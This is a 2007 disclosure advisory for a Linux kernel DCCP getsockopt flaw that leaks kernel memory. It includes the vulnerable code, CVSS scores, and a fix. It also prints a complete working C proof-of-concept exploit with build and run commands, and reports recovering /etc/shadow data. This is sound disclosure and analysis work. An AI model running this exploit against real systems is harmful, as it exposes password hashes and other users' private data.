Linux Kernel DCCP Memory Disclosure Vulnerability

2007.04.04
Risk: High
Local: Yes
Remote: No
CWE: CWE-Other


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Linux Kernel DCCP Memory Disclosure Vulnerability Synopsis: The Linux kernel is susceptible to a locally exploitable flaw which may allow local users to steal data from the kernel memory. Vulnerable Systems: Linux Kernel Versions: >= 2.6.20 with DCCP support enabled. Kernel versions <2.6.20 lack DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for getsockopt() call with SOL_DCCP level, which are used in the delivered POC code. Author: Robert Swiecki http://www.swiecki.net robert@swiecki.net Details: The flaw exists in do_dccp_getsockopt() function in net/dccp/proto.c file. ----------------------- static int do_dccp_getsockopt(struct sock *sk, int level, int optname, char __user *optval, int __user *optlen) ... if (get_user(len, optlen)) return -EFAULT; if (len < sizeof(int)) return -EINVAL; ... ----------------------- The above code doesn't check `len' variable for negative values. Because of cast typing (len < sizeof(int)) is always true for `len' values less than 0. After that copy_to_user() procedure is called: ----------------------- if (put_user(len, optlen) || copy_to_user(optval, &val, len)) return -EFAULT; ----------------------- What happens next depends greatly on the cpu architecture in-use - each cpu architecture has its own copy_to_user() implementation. On the IA-32 the code below ... ----------------------- unsigned long copy_to_user(void __user *to, const void *from, unsigned long n) BUG_ON((long) n < 0); ----------------------- ... will prevent explotation, but kernel will oops due to invalid opcode in BUG_ON(). On some other architectures (e.g. x86-64) kernel-space data will be copied to the user supplied buffer until end-of-kernel space (pagefault in kernel-mode occurs) is reached. POC: ----------------------- #include <netinet/in.h> #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #include <sys/mman.h> #include <linux/net.h> #define BUFSIZE 0x10000000 int main(int argc, char *argv[]) void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (!mem) { printf("Cannot allocate mem\n"); return 1; } /* SOCK_DCCP, IPPROTO_DCCP */ int s = socket(PF_INET, 6, 33); if (s == -1) { fprintf(stderr, "socket failure!\n"); return 1; } int len = -1; /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */ int x = getsockopt(s, 269, 11, mem, &len); if (x == -1) perror("SETSOCKOPT"); else printf("SUCCESS\n"); write(1, mem, BUFSIZE); return 0; ----------------------- then ----------------------- make poc; ./poc | strings ----------------------- I found cached disk blocks in the dump ( e.g. /etc/shadow ;) and tty buffers. Resolution: Remove dccp support from the installed linux kernel (remove dccp kernel modules etc..) or create a patch for kernel sources ;) Greets and thanks to: Przemyslaw Frasunek - venglin@freebsd.lublin.pl - http://www.frasunek.com - for his great help during flaw analysis Pawel Pisarczyk - pawel@immos.com.pl - for interesting talk about the vulnerability exploitation vectors -- Robert Swiecki - http://www.swiecki.net


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